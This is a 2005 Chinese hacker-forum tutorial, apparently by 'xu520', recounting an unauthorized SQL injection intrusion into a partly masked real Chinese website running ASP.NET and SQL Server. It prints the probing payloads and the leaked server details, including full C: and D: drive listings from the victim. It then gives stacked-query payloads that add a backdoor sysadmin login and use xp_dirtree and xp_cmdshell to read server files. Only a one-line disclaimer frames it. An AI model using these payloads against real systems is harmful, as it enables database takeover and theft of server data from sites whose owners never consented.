首页 | 业界新闻 | 黑客教程 | 安全漏洞 | 安全文章 | 破解技术 | 技术文摘 | 黑客文化 | 本站原创 | 安全贴吧 | 在线留言 | IP查询 | 软件下载 | 繁体中文 |
您现在的位置: 黑色反击 >> 技术资讯 >> 黑客教程 >> 入侵实例 >> 正文
中国##网漏洞
时间:2005-2-23 18:09:17 出处:http://www.wrsky.com/ 作者:xu520 编辑:mervin 点击数:
之所以要写这样一文章,是觉得国内网站,真得作得不够安全,当然只是菜菜的我一点小的想法,呵呵。[第一次写文章]多多指教。
  国内ASP网站,很多。如果我说得没有错的话,90%可以注入。[如果我错了,我想也有100%可以注入了]呵呵。直接进入主题。
  无意来到中国##网,试了一下在后缀加个逗号。返回"处理 URL 时服务器出错。请与系统管理员联系。"呵呵。[注入是通过构造精心的查询语句,再根据WEB返回的信息来判断数据库中的信息]
  我不想手工了,如果有人想手工的话,呵呵,也能算作是高手了,我不想浪费青春,呵呵
用啊D了


啊D返回一个可以注入点[http://www.####.com/dh/hf_flash_lx.aspx?lx=2];

经过一个简单的检测,
[and 1=(select IS_MEMBER('db_owner'));-- //判断数据库连接帐号权限]
[and 1=(select @@VERSION)--              //获得服务器信息,版本号 ]
[and 'sa'=(select System_user)--         //连接用户是否SA        ]
[and%200<>user--                         //查看用户权限          ]
(当然啊D还返回了一个注入点,在检测中,要多试一些可注入目录,可能有新的收获)

SQLSERVER 信息:
               多句执行:支持
                 子查询:支持
               当前用户:DBO
               用户权限:SA
                 当前库:DH
存在数据库:master tempdb model msdb pubs ...
瞧瞧C盘:
c:\ 的目录

2004-12-03  12:06             1,024 .rnd
2004-11-06  14:28                 0 AUTOEXEC.BAT
2004-11-06  14:28                 0 CONFIG.SYS
2005-01-02  03:59    <DIR>          data_bk
2004-11-06  14:34    <DIR>          Documents and Settings
2004-12-03  14:24    <DIR>          Downloads
2005-01-08  11:21                 0 NB_Commander_Txt.log
2004-11-06  16:31    <DIR>          NVIDIA
2004-12-03  13:49    <DIR>          Program Files
2004-12-03  12:11    <DIR>          Raptor
2005-01-04  15:41            91,275 ServerNamespace.xml
2005-01-08  10:39                 0 siweb_cmd.log
2005-01-05  10:56               808 sys.log
2004-12-31  21:42    <DIR>          Windows
2004-12-28  15:35    <DIR>          wmpub
               7 个文件         93,107 字节
               8 个目录  1,578,176,512 可用字节
再瞧瞧D盘:
驱动器 D 中的卷是 server
卷的序列号是 1C13-E360

D:\ 的目录

2004-03-31  17:39    <DIR>          2000server安装
2004-05-23  15:57    <DIR>          4.0.4.1
[意外数据]
2004-08-04  10:11    <DIR>          aida1
2001-01-17  16:57             2,185 CFGQUIET.INI
2004-11-05  19:09    <DIR>          Config.Msi
2004-11-02  14:55    <DIR>          CopyLock
2004-06-10  12:33    <DIR>          DATA
2004-12-31  21:13    <DIR>          dh
2004-05-02  14:23    <DIR>          dh1
2004-06-07  12:22        19,148,288 dh_20040507
2004-05-26  20:20                22 dh_zs_1.zip
2005-01-08  10:51             2,097 disonbbs7sp2.asp
2004-05-25  11:38         1,065,472 dm
2004-05-17  14:24         4,845,417 dm.zip
2004-03-31  11:54    <DIR>          dreamboot
2004-12-03  23:29    <DIR>          dvbbs7.0.0_Ac(1)
2004-07-02  03:36         2,060,737 dvbbs7.0.0_Ac(1).exe
2004-04-25  18:32    <DIR>          dvbbs7.0.0_Ac1
2004-04-25  17:13           281,244 dvbbs7.0.0_sp2_up.exe
2004-05-31  07:01         1,663,938 fg160a.exe
2001-09-25  22:29         2,239,624 fpse02_x86_CHS.exe
2004-03-19  16:03    <DIR>          JMail4.2Pro
2004-07-15  09:48         4,584,960 job
2004-05-24  15:16                 0 MSI2C.tmp
2004-09-27  15:01    <DIR>          MSI98e2a.tmp
2004-11-05  17:43    <DIR>          MSIe8e33.tmp
2004-03-22  16:04    <DIR>          office11_fp_chs
2004-03-22  16:01       389,740,544 office11_fp_chs.ISO
2004-11-06  16:53    <DIR>          Program Files
2004-09-09  16:40    <DIR>          recover
2004-11-28  03:27         9,092,234 rhcity_bk.rar
2004-03-03  11:18    <DIR>          seru
2004-11-05  12:52    <DIR>          Serv-U
2003-07-24  11:15       156,706,368 setup.exe
2002-06-07  10:29    <DIR>          sharept
2004-12-03  17:56    <DIR>          soft

好点好玩。郁,一个网页设计不错的网站*—*—*
;exec master.dbo.sp_addlogin xu520;--                  //加一个xu520的SQL帐号,密码为空
;exec master.dbo.sp_password null,xu520,xu520;--       //把xu520的密码改为xu520
;exec master.dbo.sp_addsrvrolemember xu520 sysadmin;-- //把xu520用户加到sysadmin组里去[返回正常,说明成功]

以上都是偷别人苦苦构造的查询语句,在此谢谢前辈。
也可以在数据库建一个表,把你要想查询内容拷贝进这个表,再把表的内容显示出来。
遍历目录的方法:
create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
//建立一个叫temp的表

insert temp exec master.dbo.xp_availablemedia;
// 获得当前所有驱动器,并写入temp表中

;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\www',1;--
//获得C盘目录下的目录,并写如temp表

insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
//获得所有子目录的目录树结构,并存入temp表中

insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--
//把c:\web\index.asp的内容写入到temp表

and 1=(select count(*) from temp where id >1);--
//暴表里的数据
呵呵。不过很高难度,我人懒,所以没有学精,不敢讲。。。写得有点乱,见恕。
本文只作技术交流,请不要作出对任何网站的攻击活动!
推荐学习网站:http://www.fineacer.com/
-
相关文章
没有相关文章


精彩推荐
hack菜鸟入门
VB 从零开始编外挂(完
IPC入侵全接触
QQ跨站漏洞巧利用,强
WinXP中CPU占用100%原
黑客新技术 灰鸽子巧妙
实例讲解 黑客入侵论坛
ADSL共享上网方式大总
BMP文件格式分析
十招教你学会破解
热门软件
网 友 评 论
关于我们 - 联系方式 - 招聘信息 - 合作伙伴 - 网站地图 - 广告服务 - 我要投稿 - 设为首页 - 加入收藏
黑色反击 力倡网络安全,崇尚互联共享,欢迎各种媒体转载我们的原创作品 [转载请注明出处]。
EMAIL:hf110.com@gmail.com 备案:苏ICP备05010002号